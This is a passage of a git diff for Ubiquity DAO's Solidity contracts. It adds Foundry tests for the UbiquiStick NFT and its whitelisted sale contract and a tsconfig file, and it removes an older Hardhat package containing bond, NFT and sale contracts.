assertEq(ubiquiStick.ownerOf(1), user); + } + + function testSafeTransferFromWith4Params_ShouldRevert_IfOperatorIsNotAllowed() + public + { + // mint 1 token to minter + vm.prank(minter); + ubiquiStick.safeMint(minter); + // approve user to spend minter's token 1 + vm.prank(minter); + ubiquiStick.approve(user, 1); + // mock OperatorFilterer + vm.mockCall( + address(ubiquiStick.OPERATOR_FILTER_REGISTRY()), + abi.encodeWithSelector( + IOperatorFilterRegistry.isOperatorAllowed.selector + ), + abi.encode(false) + ); + + vm.prank(user); + vm.expectRevert( + abi.encodeWithSelector( + OperatorFilterer.OperatorNotAllowed.selector, + user + ) + ); + ubiquiStick.safeTransferFrom(minter, user, 1, ""); + } + + function testSafeTransferFromWith4Params_ShouldTransferToken() public { + // mint 1 token to minter + vm.prank(minter); + ubiquiStick.safeMint(minter); + // approve user to spend minter's token 1 + vm.prank(minter); + ubiquiStick.approve(user, 1); + + vm.prank(user); + ubiquiStick.safeTransferFrom(minter, user, 1, ""); + assertEq(ubiquiStick.ownerOf(1), user); + } +} diff --git a/packages/contracts/test/ubiquistick/UbiquiStickSale.t.sol b/packages/contracts/test/ubiquistick/UbiquiStickSale.t.sol new file mode 100644 index 000000000..dabfd25eb --- /dev/null +++ b/packages/contracts/test/ubiquistick/UbiquiStickSale.t.sol @@ -0,0 +1,190 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "forge-std/Test.sol"; + +import "../../src/ubiquistick/UbiquiStick.sol"; +import "../../src/ubiquistick/UbiquiStickSale.sol"; + +contract UbiquiStickSaleTest is Test { + UbiquiStick ubiquiStick; + UbiquiStickSale ubiquiStickSale; + + // test users + address owner; + address user1; + address user2; + + function setUp() public { + owner = address(0x01); + user1 = address(0x02); + user2 = address(0x03); + + vm.startPrank(owner); + ubiquiStick = new UbiquiStick(); + ubiquiStickSale = new UbiquiStickSale(); + vm.stopPrank(); + } + + function testSetTokenContract_ShouldRevert_IfCalledNotByOwner() public { + vm.prank(user1); + vm.expectRevert("Ownable: caller is not the owner"); + ubiquiStickSale.setTokenContract(address(ubiquiStick)); + } + + function testSetTokenContract_ShouldRevert_IfAddressIsZero() public { + vm.prank(owner); + vm.expectRevert("Invalid Address"); + ubiquiStickSale.setTokenContract(address(0)); + } + + function testSetTokenContract_ShouldSetTokenContract() public { + vm.prank(owner); + ubiquiStickSale.setTokenContract(address(ubiquiStick)); + assertEq( + address(ubiquiStickSale.tokenContract()), + address(ubiquiStick) + ); + } + + function testSetFundsAddress_ShouldRevert_IfCalledNotByOwner() public { + vm.prank(user1); + vm.expectRevert("Ownable: caller is not the owner"); + ubiquiStickSale.setFundsAddress(address(0x03)); + } + + function testSetFundsAddress_ShouldRevert_IfAddressIsZero() public { + vm.prank(owner); + vm.expectRevert("Invalid Address"); + ubiquiStickSale.setFundsAddress(address(0)); + } + + function testSetFundsAddress_ShouldSetFundsAddress() public { + vm.prank(owner); + ubiquiStickSale.setFundsAddress(address(0x03)); + assertEq(ubiquiStickSale.fundsAddress(), address(0x03)); + } + + function testSetAllowance_ShouldRevert_IfCalledNotByOwner() public { + vm.prank(user1); + vm.expectRevert("Ownable: caller is not the owner"); + ubiquiStickSale.setAllowance(user1, 1, 1); + } + + function testSetAllowance_ShouldRevert_IfAddressIsZero() public { + vm.prank(owner); + vm.expectRevert("Invalid Address"); + ubiquiStickSale.setAllowance(address(0), 1, 1); + } + + function testSetAllowance_ShouldSetAllowance() public { + vm.prank(owner); + ubiquiStickSale.setAllowance(user1, 1, 2); + (uint256 count, uint256 price) = ubiquiStickSale.allowance(user1); + assertEq(count, 1); + assertEq(price, 2); + } + + function testBatchSetAllowance_ShouldRevert_IfCalledNotByOwner() public { + vm.prank(user1); + vm.expectRevert("Ownable: caller is not the owner"); + address[] memory targetAddresses; + uint256[] memory targetCounts; + uint256[] memory targetPrices; + ubiquiStickSale.batchSetAllowances( + targetAddresses, + targetCounts, + targetPrices + ); + } + + function testBatchSetAllowance_ShouldBatchSetAllowance() public { + address[] memory targetAddresses = new address[](2); + targetAddresses[0] = user1; + targetAddresses[1] = user2; + + uint256[] memory targetCounts = new uint[](2); + targetCounts[0] = 1; + targetCounts[1] = 2; + + uint256[] memory targetPrices = new uint[](2); + targetPrices[0] = 3; + targetPrices[1] = 4; + + vm.prank(owner); + ubiquiStickSale.batchSetAllowances( + targetAddresses, + targetCounts, + targetPrices + ); + + (uint256 count, uint256 price) = ubiquiStickSale.allowance(user1); + assertEq(count, 1); + assertEq(price, 3); + + (count, price) = ubiquiStickSale.allowance(user2); + assertEq(count, 2); + assertEq(price, 4); + } + + function testAllowance_ShouldReturnAllowance() public { + vm.prank(owner); + ubiquiStickSale.setAllowance(user1, 1, 2); + (uint256 count, uint256 price) = ubiquiStickSale.allowance(user1); + assertEq(count, 1); + assertEq(price, 2); + } + + function testReceive_ShouldRevert_IfMaxSupplyIsReached() public { + // owner whitelists user1 + vm.prank(owner); + ubiquiStickSale.setAllowance(user1, 1, 1 ether); + // mint 1024 tokens to user1 + vm.prank(owner); + ubiquiStick.batchSafeMint(user1, 1024); + // user1 tries to buy token + vm.deal(user1, 1 ether); + vm.prank(user1); + (bool isSuccess /* bytes memory data */, ) = address(ubiquiStickSale) + .call{value: 1 ether}(""); + assertEq(isSuccess, false); + } + + function testReceive_ShouldRevert_IfAllowanceIsInsufficient() public { + // user1 tries to buy token + vm.deal(user1, 1 ether); + vm.prank(user1); + (bool success, ) = address(ubiquiStickSale).call{value: 1 ether}(""); + require(!success, "should have reverted due to insufficient allowance"); + (bool isSuccess /* bytes memory data */, ) = address(ubiquiStickSale) + .call{value: 1 ether}(""); + assertEq(isSuccess, false); + } + + function testWithdraw_ShouldRevert_IfCalledNotByOwner() public { + vm.prank(user1); + vm.expectRevert("Ownable: caller is not the owner"); + ubiquiStickSale.withdraw(); + } + + function testWithdraw_ShouldWithdraw() public { + address fundsAddress = address(0x04); + vm.deal(address(ubiquiStickSale), 1 ether); + + // set funds address where to withdraw + vm.prank(owner); + ubiquiStickSale.setFundsAddress(fundsAddress); + + // balances before + assertEq(fundsAddress.balance, 0); + assertEq(address(ubiquiStickSale).balance, 1 ether); + + // withdraw + vm.prank(owner); + ubiquiStickSale.withdraw(); + + // balances after + assertEq(fundsAddress.balance, 1 ether); + assertEq(address(ubiquiStickSale).balance, 0); + } +} diff --git a/packages/contracts/tsconfig.json b/packages/contracts/tsconfig.json new file mode 100644 index 000000000..4a1a75cfc --- /dev/null +++ b/packages/contracts/tsconfig.json @@ -0,0 +1,103 @@ +{ + "compilerOptions": { + /* Visit https://aka.ms/tsconfig to read more about this file */ + + /* Projects */ + // "incremental": true, /* Save .tsbuildinfo files to allow for incremental compilation of projects. */ + // "composite": true, /* Enable constraints that allow a TypeScript project to be used with project references. */ + // "tsBuildInfoFile": "./.tsbuildinfo", /* Specify the path to .tsbuildinfo incremental compilation file. */ + // "disableSourceOfProjectReferenceRedirect": true, /* Disable preferring source files instead of declaration files when referencing composite projects. */ + // "disableSolutionSearching": true, /* Opt a project out of multi-project reference checking when editing. */ + // "disableReferencedProjectLoad": true, /* Reduce the number of projects loaded automatically by TypeScript. */ + + /* Language and Environment */ + "target": "es2021" /* Set the JavaScript language version for emitted JavaScript and include compatible library declarations. */, + // "lib": [], /* Specify a set of bundled library declaration files that describe the target runtime environment. */ + // "jsx": "preserve", /* Specify what JSX code is generated. */ + // "experimentalDecorators": true, /* Enable experimental support for TC39 stage 2 draft decorators. */ + // "emitDecoratorMetadata": true, /* Emit design-type metadata for decorated declarations in source files. */ + // "jsxFactory": "", /* Specify the JSX factory function used when targeting React JSX emit, e.g. 'React.createElement' or 'h'. */ + // "jsxFragmentFactory": "", /* Specify the JSX Fragment reference used for fragments when targeting React JSX emit e.g. 'React.Fragment' or 'Fragment'. */ + // "jsxImportSource": "", /* Specify module specifier used to import the JSX factory functions when using 'jsx: react-jsx*'. */ + // "reactNamespace": "", /* Specify the object invoked for 'createElement'. This only applies when targeting 'react' JSX emit. */ + // "noLib": true, /* Disable including any library files, including the default lib.d.ts. */ + // "useDefineForClassFields": true, /* Emit ECMAScript-standard-compliant class fields. */ + // "moduleDetection": "auto", /* Control what method is used to detect module-format JS files. */ + + /* Modules */ + "module": "commonjs" /* Specify what module code is generated. */, + // "rootDir": "./", /* Specify the root folder within your source files. */ + // "moduleResolution": "node", /* Specify how TypeScript looks up a file from a given module specifier. */ + // "baseUrl": "./", /* Specify the base directory to resolve non-relative module names. */ + // "paths": {}, /* Specify a set of entries that re-map imports to additional lookup locations. */ + // "rootDirs": [], /* Allow multiple folders to be treated as one when resolving modules. */ + // "typeRoots": [], /* Specify multiple folders that act like './node_modules/@types'. */ + // "types": [], /* Specify type package names to be included without being referenced in a source file. */ + // "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */ + // "moduleSuffixes": [], /* List of file name suffixes to search when resolving a module. */ + // "resolveJsonModule": true, /* Enable importing .json files. */ + // "noResolve": true, /* Disallow 'import's, 'require's or ''s from expanding the number of files TypeScript should add to a project. */ + + /* JavaScript Support */ + // "allowJs": true, /* Allow JavaScript files to be a part of your program. Use the 'checkJS' option to get errors from these files. */ + // "checkJs": true, /* Enable error reporting in type-checked JavaScript files. */ + // "maxNodeModuleJsDepth": 1, /* Specify the maximum folder depth used for checking JavaScript files from 'node_modules'. Only applicable with 'allowJs'. */ + + /* Emit */ + // "declaration": true, /* Generate .d.ts files from TypeScript and JavaScript files in your project. */ + // "declarationMap": true, /* Create sourcemaps for d.ts files. */ + // "emitDeclarationOnly": true, /* Only output d.ts files and not JavaScript files. */ + // "sourceMap": true, /* Create source map files for emitted JavaScript files. */ + // "outFile": "./", /* Specify a file that bundles all outputs into one JavaScript file. If 'declaration' is true, also designates a file that bundles all .d.ts output. */ + // "outDir": "./", /* Specify an output folder for all emitted files. */ + // "removeComments": true, /* Disable emitting comments. */ + // "noEmit": true, /* Disable emitting files from a compilation. */ + // "importHelpers": true, /* Allow importing helper functions from tslib once per project, instead of including them per-file. */ + // "importsNotUsedAsValues": "remove", /* Specify emit/checking behavior for imports that are only used for types. */ + // "downlevelIteration": true, /* Emit more compliant, but verbose and less performant JavaScript for iteration. */ + // "sourceRoot": "", /* Specify the root path for debuggers to find the reference source code. */ + // "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */ + // "inlineSourceMap": true, /* Include sourcemap files inside the emitted JavaScript. */ + // "inlineSources": true, /* Include source code in the sourcemaps inside the emitted JavaScript. */ + // "emitBOM": true, /* Emit a UTF-8 Byte Order Mark (BOM) in the beginning of output files. */ + // "newLine": "crlf", /* Set the newline character for emitting files. */ + // "stripInternal": true, /* Disable emitting declarations that have '@internal' in their JSDoc comments. */ + // "noEmitHelpers": true, /* Disable generating custom helper functions like '__extends' in compiled output. */ + // "noEmitOnError": true, /* Disable emitting files if any type checking errors are reported. */ + // "preserveConstEnums": true, /* Disable erasing 'const enum' declarations in generated code. */ + // "declarationDir": "./", /* Specify the output directory for generated declaration files. */ + // "preserveValueImports": true, /* Preserve unused imported values in the JavaScript output that would otherwise be removed. */ + + /* Interop Constraints */ + // "isolatedModules": true, /* Ensure that each file can be safely transpiled without relying on other imports. */ + // "allowSyntheticDefaultImports": true, /* Allow 'import x from y' when a module doesn't have a default export. */ + "esModuleInterop": true /* Emit additional JavaScript to ease support for importing CommonJS modules. This enables 'allowSyntheticDefaultImports' for type compatibility. */, + // "preserveSymlinks": true, /* Disable resolving symlinks to their realpath. This correlates to the same flag in node. */ + "forceConsistentCasingInFileNames": true /* Ensure that casing is correct in imports. */, + + /* Type Checking */ + "strict": true /* Enable all strict type-checking options. */, + // "noImplicitAny": true, /* Enable error reporting for expressions and declarations with an implied 'any' type. */ + // "strictNullChecks": true, /* When type checking, take into account 'null' and 'undefined'. */ + // "strictFunctionTypes": true, /* When assigning functions, check to ensure parameters and the return values are subtype-compatible. */ + // "strictBindCallApply": true, /* Check that the arguments for 'bind', 'call', and 'apply' methods match the original function. */ + // "strictPropertyInitialization": true, /* Check for class properties that are declared but not set in the constructor. */ + // "noImplicitThis": true, /* Enable error reporting when 'this' is given the type 'any'. */ + // "useUnknownInCatchVariables": true, /* Default catch clause variables as 'unknown' instead of 'any'. */ + // "alwaysStrict": true, /* Ensure 'use strict' is always emitted. */ + // "noUnusedLocals": true, /* Enable error reporting when local variables aren't read. */ + // "noUnusedParameters": true, /* Raise an error when a function parameter isn't read. */ + // "exactOptionalPropertyTypes": true, /* Interpret optional property types as written, rather than adding 'undefined'. */ + // "noImplicitReturns": true, /* Enable error reporting for codepaths that do not explicitly return in a function. */ + // "noFallthroughCasesInSwitch": true, /* Enable error reporting for fallthrough cases in switch statements. */ + // "noUncheckedIndexedAccess": true, /* Add 'undefined' to a type when accessed using an index. */ + // "noImplicitOverride": true, /* Ensure overriding members in derived classes are marked with an override modifier. */ + // "noPropertyAccessFromIndexSignature": true, /* Enforces using indexed accessors for keys declared using an indexed type. */ + // "allowUnusedLabels": true, /* Disable error reporting for unused labels. */ + // "allowUnreachableCode": true, /* Disable error reporting for unreachable code. */ + + /* Completeness */ + // "skipDefaultLibCheck": true, /* Skip type checking .d.ts files that are included with TypeScript. */ + "skipLibCheck": true /* Skip type checking all .d.ts files. */ + } +} diff --git a/packages/contracts/ubiquistick/.eslintignore b/packages/contracts/ubiquistick/.eslintignore deleted file mode 100644 index 85f5562af..000000000 --- a/packages/contracts/ubiquistick/.eslintignore +++ /dev/null @@ -1,4 +0,0 @@ -node_modules -artifacts -cache -coverage diff --git a/packages/contracts/ubiquistick/.gitignore b/packages/contracts/ubiquistick/.gitignore deleted file mode 100644 index 35179beb7..000000000 --- a/packages/contracts/ubiquistick/.gitignore +++ /dev/null @@ -1,12 +0,0 @@ -node_modules -.env -.vscode - -#Hardhat files -cache -artifacts -coverage -assets -types - -.DS_Store diff --git a/packages/contracts/ubiquistick/.solhint.json b/packages/contracts/ubiquistick/.solhint.json deleted file mode 100644 index f3e31e8c5..000000000 --- a/packages/contracts/ubiquistick/.solhint.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "extends": "solhint:recommended", - "rules": { - "compiler-version": ["error", "^0.8.0"], - "func-visibility": ["warn", { "ignoreConstructors": true }] - } -} diff --git a/packages/contracts/ubiquistick/.solhintignore b/packages/contracts/ubiquistick/.solhintignore deleted file mode 100644 index 3c3629e64..000000000 --- a/packages/contracts/ubiquistick/.solhintignore +++ /dev/null @@ -1 +0,0 @@ -node_modules diff --git a/packages/contracts/ubiquistick/README.md b/packages/contracts/ubiquistick/README.md deleted file mode 100644 index 814c1fa58..000000000 --- a/packages/contracts/ubiquistick/README.md +++ /dev/null @@ -1,3 +0,0 @@ -# The Ubiquity Stick - -Introducing The UbiquiStick™ from Ubiquity DAO. Maximize your EV. This allows you to enter pool1 during the Ubiquity DAO bonds. diff --git a/packages/contracts/ubiquistick/contracts/LP.sol b/packages/contracts/ubiquistick/contracts/LP.sol deleted file mode 100644 index 1d8bc6d5f..000000000 --- a/packages/contracts/ubiquistick/contracts/LP.sol +++ /dev/null @@ -1,13 +0,0 @@ -// SPDX-License-Identifier: Apache-2.0 -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; -import "@openzeppelin/contracts/access/Ownable.sol"; - -contract LP is ERC20, Ownable { - constructor(string memory name, string memory symbol) ERC20(name, symbol) {} - - function mint(uint256 amount) public { - _mint(msg.sender, amount); - } -} diff --git a/packages/contracts/ubiquistick/contracts/MockUBQmanager.sol b/packages/contracts/ubiquistick/contracts/MockUBQmanager.sol deleted file mode 100644 index 3bf9d1572..000000000 --- a/packages/contracts/ubiquistick/contracts/MockUBQmanager.sol +++ /dev/null @@ -1,17 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.9; - -import "@openzeppelin/contracts/access/AccessControl.sol"; - -contract MockUBQmanager is AccessControl { - bytes32 public constant UBQ_MINTER_ROLE = keccak256("UBQ_MINTER_ROLE"); - - constructor() { - _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); - } - - function setupMinterRole(address to) public { - require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Governance token: not minter"); - _setupRole(UBQ_MINTER_ROLE, to); - } -} diff --git a/packages/contracts/ubiquistick/contracts/SimpleBond.sol b/packages/contracts/ubiquistick/contracts/SimpleBond.sol deleted file mode 100644 index b12d544e8..000000000 --- a/packages/contracts/ubiquistick/contracts/SimpleBond.sol +++ /dev/null @@ -1,239 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.9; - -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; -import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; -import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; -import "@openzeppelin/contracts/security/Pausable.sol"; -import "@openzeppelin/contracts/access/Ownable.sol"; -import "./interfaces/ISimpleBond.sol"; -import "./interfaces/IUAR.sol"; - -/// @title Simple Bond -/// @author zapaz.eth -/// @notice SimpleBond is a simple Bond mecanism, allowing to sell tokens bonded and get rewards tokens -/// @notice The reward token is fully claimable only after the vesting period -/// @dev Bond is Ownable, access controled by onlyOwner -/// @dev Use SafeERC20 -contract SimpleBond is ISimpleBond, Ownable, Pausable { - using SafeERC20 for IERC20; - - struct Bond { - address token; - uint256 amount; - uint256 rewards; - uint256 claimed; - uint256 block; - } - - /// @notice Rewards token address - address public immutable tokenRewards; - - /// @notice Rewards ratio for token bonded - /// @dev rewardsRatio is per billion of token bonded - mapping(address => uint256) public rewardsRatio; - - /// @notice Vesting period - /// @dev defined in number of block - uint256 public vestingBlocks; - - /// @notice Bonds for each address - /// @dev bond index starts at 0 for each address - mapping(address => Bond[]) public bonds; - - /// @notice Total rewards - uint256 public totalRewards; - - /// @notice Total rewards claimed - uint256 public totalClaimedRewards; - - /// @notice Treasury address - address public treasury; - - /// NFT stick address - address public sticker; - - /// @notice onlySticker : no NFT stick address defined OR sender has at least one NFT Stick - modifier onlySticker() { - require(sticker == address(0) || IERC721(sticker).balanceOf(msg.sender) > 0, "Not NFT Stick owner"); - _; - } - - /// @notice Set sticker - /// @param sticker_ sticker boolean - function setSticker(address sticker_) public override onlyOwner { - sticker = sticker_; - } - - /// Simple Bond constructor - /// @param tokenRewards_ Rewards token address - /// @param vestingBlocks_ Vesting duration in blocks - constructor( - address tokenRewards_, - uint256 vestingBlocks_, - address treasury_ - ) { - require(tokenRewards_ != address(0), "Invalid Reward token"); - tokenRewards = tokenRewards_; - setVestingBlocks(vestingBlocks_); - setTreasury(treasury_); - } - - /// @notice Set Rewards for specific Token - /// @param token token address - /// @param tokenRewardsRatio rewardsRatio for this token - function setRewards(address token, uint256 tokenRewardsRatio) public override onlyOwner { - require(token != address(0), "Invalid Reward token"); - rewardsRatio[token] = tokenRewardsRatio; - - emit LogSetRewards(token, tokenRewardsRatio); - } - - /// @notice Set vesting duration - /// @param vestingBlocks_ vesting duration in blocks - function setVestingBlocks(uint256 vestingBlocks_) public override onlyOwner { - require(vestingBlocks_ > 0, "Invalid Vesting blocks number"); - vestingBlocks = vestingBlocks_; - } - - /// @notice Set treasury address - /// @param treasury_ treasury address - function setTreasury(address treasury_) public override onlyOwner { - require(treasury_ != address(0), "Invalid Treasury address"); - treasury = treasury_; - } - - /// @notice Pause Bonding and Claiming - function pause() public override onlyOwner { - _pause(); - } - - /// @notice Unpause Bonding and Claiming - function unpause() public override onlyOwner { - _unpause(); - } - - /// @notice Bond tokens - /// @param token bonded token address - /// @param amount amount of token to bond - /// @return bondId Bond id - function bond(address token, uint256 amount) public override whenNotPaused onlySticker returns (uint256 bondId) { - require(rewardsRatio[token] > 0, "Token not allowed"); - - // @dev throws if not enough allowance or tokens for address - // @dev must set token allowance for this smartcontract previously - IERC20(token).safeTransferFrom(msg.sender, address(this), amount); - - Bond memory bnd; - bnd.token = token; - bnd.amount = amount; - bnd.block = block.number; - - uint256 rewards = (amount * rewardsRatio[token]) / 1_000_000_000; - bnd.rewards = rewards; - totalRewards += rewards; - - bondId = bonds[msg.sender].length; - bonds[msg.sender].push(bnd); - - emit LogBond(msg.sender, bnd.token, bnd.amount, bnd.rewards, bnd.block, bondId); - } - - /// @notice Claim all rewards - /// @return claimed Rewards claimed succesfully - function claim() public override whenNotPaused returns (uint256 claimed) { - for (uint256 index = 0; (index < bonds[msg.sender].length); index += 1) { - claimed += claimBond(index); - } - } - - /// @notice Claim bond rewards - /// @return claimed Rewards claimed succesfully - function claimBond(uint256 index) public override whenNotPaused returns (uint256 claimed) { - Bond storage bnd = bonds[msg.sender][index]; - uint256 claimAmount = _bondClaimableRewards(bnd); - - if (claimAmount > 0) { - bnd.claimed += claimAmount; - totalClaimedRewards += claimAmount; - - assert(bnd.claimed <= bnd.rewards); - IUAR(tokenRewards).raiseCapital(claimAmount); - IERC20(tokenRewards).safeTransferFrom(treasury, msg.sender, claimAmount); - } - - emit LogClaim(msg.sender, index, claimed); - } - - /// @notice Withdraw token from the smartcontract, only for owner - /// @param token token withdraw - /// @param amount amount withdraw - function withdraw(address token, uint256 amount) public override onlyOwner { - IERC20(token).safeTransfer(treasury, amount); - } - - /// @notice Bond rewards balance: amount and already claimed - /// @return rewards Amount of rewards - /// @return rewardsClaimed Amount of rewards already claimed - /// @return rewardsClaimable Amount of still claimable rewards - function rewardsOf(address addr) - public - view - override - returns ( - uint256 rewards, - uint256 rewardsClaimed, - uint256 rewardsClaimable - ) - { - for (uint256 index = 0; index < bonds[addr].length; index += 1) { - (uint256 bondRewards, uint256 bondClaimedRewards, uint256 bondClaimableRewards) = rewardsBondOf(addr, index); - rewards += bondRewards; - rewardsClaimed += bondClaimedRewards; - rewardsClaimable += bondClaimableRewards; - } - } - - /// @notice Bond rewards balance: amount and already claimed - /// @return rewards Amount of rewards - /// @return rewardsClaimed Amount of rewards already claimed - /// @return rewardsClaimable Amount of still claimable rewards - function rewardsBondOf(address addr, uint256 index) - public - view - override - returns ( - uint256 rewards, - uint256 rewardsClaimed, - uint256 rewardsClaimable - ) - { - Bond memory bnd = bonds[addr][index]; - rewards = bnd.rewards; - rewardsClaimed = bnd.claimed; - rewardsClaimable = _bondClaimableRewards(bnd); - } - - /// @notice Get number of bonds for address - /// @return number of bonds - function bondsCount(address addr) public view override returns (uint256) { - return bonds[addr].length; - } - - /// @dev calculate claimable rewards during vesting period, or all claimable rewards after, minus already claimed - function _bondClaimableRewards(Bond memory bnd) internal view returns (uint256 claimable) { - assert(block.number >= bnd.block); - - uint256 blocks = block.number - bnd.block; - uint256 totalClaimable; - - if (blocks < vestingBlocks) { - totalClaimable = (bnd.rewards * blocks) / vestingBlocks; - } else { - totalClaimable = bnd.rewards; - } - - assert(totalClaimable >= bnd.claimed); - claimable = totalClaimable - bnd.claimed; - } -} diff --git a/packages/contracts/ubiquistick/contracts/TheUbiquityStick.sol b/packages/contracts/ubiquistick/contracts/TheUbiquityStick.sol deleted file mode 100644 index d4b4db50e..000000000 --- a/packages/contracts/ubiquistick/contracts/TheUbiquityStick.sol +++ /dev/null @@ -1,100 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.9; - -import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; -import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; -import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; -import "@openzeppelin/contracts/access/Ownable.sol"; - -// With this "The UbiquiStick" NFT contract you can : -// - get all ERC721 functionnality https://eips.ethereum.org/EIPS/eip-721 -// - including check that someone as a NFT of the collection with « balanceOf » -// - including check who is TokenID owner with « ownerOf » -// - including optional ERC721Metadata -// but without metadata JSON schema -// with 3 types of NFTs : standard, gold and invisible, each one having same metadata -// with 3 different tokenURIs -// - including optional ERC721Enumerable -// - get you NFT listed on OpenSea (on mainnet or matic only) -// - allow NFT owner to burn it’s own NFT -// - allow one owner (deployer at start) to change tokenURIs (setTokenURI), and change minter (setMinter) and transfer it's owner role to someone else -// - allow one minter to mint NFT (safeMint) - -contract TheUbiquityStick is ERC721, ERC721Burnable, ERC721Enumerable, Ownable { - uint256 public tokenIdNext = 1; - - address public minter; - - string private _tokenURI; - uint256 private constant STANDARD_TYPE = 0; - - string private _goldTokenURI; - mapping(uint256 => bool) public gold; - uint256 private constant GOLD_FREQ = 64; - uint256 private constant GOLD_TYPE = 1; - - string private _invisibleTokenURI; - uint256 private constant INVISIBLE_TOKEN_ID = 42; - uint256 private constant INVISIBLE_TYPE = 2; - - modifier onlyMinter() { - require(msg.sender == minter, "Not minter"); - _; - } - - constructor() ERC721("The UbiquiStick", "KEY") { - setMinter(msg.sender); - } - - function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory uri) { - require(_exists(tokenId), "Nonexistent token"); - return gold[tokenId] ? _goldTokenURI : (tokenId == INVISIBLE_TOKEN_ID ? _invisibleTokenURI : _tokenURI); - } - - function setTokenURI(uint256 ntype, string memory tokenURI_) public onlyMinter { - if (ntype == STANDARD_TYPE) { - _tokenURI = tokenURI_; - } else if (ntype == GOLD_TYPE) { - _goldTokenURI = tokenURI_; - } else if (ntype == INVISIBLE_TYPE) { - _invisibleTokenURI = tokenURI_; - } - } - - function setMinter(address minter_) public onlyOwner { - minter = minter_; - } - - function safeMint(address to) public onlyMinter { - uint256 tokenId = tokenIdNext; - tokenIdNext += 1; - - // Gold one - if (random() % uint256(GOLD_FREQ) == 0) { - if (tokenId != INVISIBLE_TOKEN_ID) gold[tokenId] = true; - } - _safeMint(to, tokenId); - } - - function batchSafeMint(address to, uint256 count) public onlyMinter { - for (uint256 i = 0; i < count; i++) { - safeMint(to); - } - } - - function random() private view returns (uint256) { - return uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, msg.sender, tokenIdNext))); - } - - function _beforeTokenTransfer( - address from, - address to, - uint256 tokenId - ) internal override(ERC721, ERC721Enumerable) { - super._beforeTokenTransfer(from, to, tokenId); - } - - function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { - return super.supportsInterface(interfaceId); - } -} diff --git a/packages/contracts/ubiquistick/contracts/TheUbiquityStickSale.sol b/packages/contracts/ubiquistick/contracts/TheUbiquityStickSale.sol deleted file mode 100644 index a9a403a3b..000000000 --- a/packages/contracts/ubiquistick/contracts/TheUbiquityStickSale.sol +++ /dev/null @@ -1,117 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity 0.8.9; - -// FORK from Land DAO -> https://github.com/Land-DAO/nft-contracts/blob/main/contracts/LandSale.sol - -import "@openzeppelin/contracts/access/Ownable.sol"; -import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; - -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; -import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; -import "./interfaces/ITheUbiquityStick.sol"; - -contract TheUbiquityStickSale is Ownable, ReentrancyGuard { - using SafeERC20 for IERC20; - - struct Purchase { - uint256 count; - uint256 price; - } - - // TheUbiquityStick token contract interface - ITheUbiquityStick public tokenContract; - - // Stores the allowed minting count and token price for each whitelisted address - mapping(address => Purchase) private _allowances; - - // Stores the address of the treasury - address public fundsAddress; - - uint256 public constant MAXIMUM_SUPPLY = 1024; - uint256 public constant MAXIMUM_PER_TX = 10; - address private constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; - - event Mint(address from, uint256 count, uint256 price); - - event Payback(address to, uint256 unspent); - - event Withdraw(address to, address token, uint256 amount); - - constructor() {} - - function setTokenContract(address _newTokenContract) external onlyOwner { - require(_newTokenContract != address(0), "Invalid Address"); - tokenContract = ITheUbiquityStick(_newTokenContract); - } - - function setFundsAddress(address _address) external onlyOwner { - require(_address != address(0), "Invalid Address"); - fundsAddress = _address; - } - - // Set the allowance for the specified address - function setAllowance( - address _address, - uint256 _count, - uint256 _price - ) public onlyOwner { - require(_address != address(0), "Invalid Address"); - _allowances[_address] = Purchase(_count, _price); - } - - // Set the allowance for the specified address - function batchSetAllowances( - address[] calldata _addresses, - uint256[] calldata _counts, - uint256[] calldata _prices - ) external onlyOwner { - uint256 count = _addresses.length; - - for (uint16 i = 0; i < count; i++) { - setAllowance(_addresses[i], _counts[i], _prices[i]); - } - } - - // Get the allowance for the specified address - function allowance(address _address) public view returns (uint256 count, uint256 price) { - Purchase memory _allowance = _allowances[_address]; - count = _allowance.count; - price = _allowance.price; - } - - // Handles token purchases - receive() external payable nonReentrant { - // Check if tokens are still available for sale - require(tokenContract.totalSupply() < MAXIMUM_SUPPLY, "Sold Out"); - uint256 remainingTokenCount = MAXIMUM_SUPPLY - tokenContract.totalSupply(); - - // Check if sufficient funds are sent, and that the address is whitelisted - // and had enough allowance with enough funds - uint256 count; - uint256 price; - (count, price) = allowance(msg.sender); - require(count > 0, "Not Whitelisted For The Sale Or Insufficient Allowance"); - - if (remainingTokenCount < count) count = remainingTokenCount; - if (msg.value < count * price) count = msg.value / price; - if (MAXIMUM_PER_TX < count) count = MAXIMUM_PER_TX; - require(count > 0, "Not enough Funds"); - - _allowances[msg.sender].count -= count; - - uint256 paid = count * price; - tokenContract.batchSafeMint(msg.sender, count); - emit Mint(msg.sender, count, paid); - - // Calculate any excess/unspent funds and transfer it back to the buyer - if (msg.value > paid) { - uint256 unspent = msg.value - paid; - payable(msg.sender).transfer(unspent); - emit Payback(msg.sender, unspent); - } - } - - function withdraw() public nonReentrant onlyOwner { - payable(fundsAddress).transfer(address(this).balance); - } -} diff --git a/packages/contracts/ubiquistick/contracts/UAR.sol b/packages/contracts/ubiquistick/contracts/UAR.sol deleted file mode 100644 index 28cdd05ec..000000000 --- 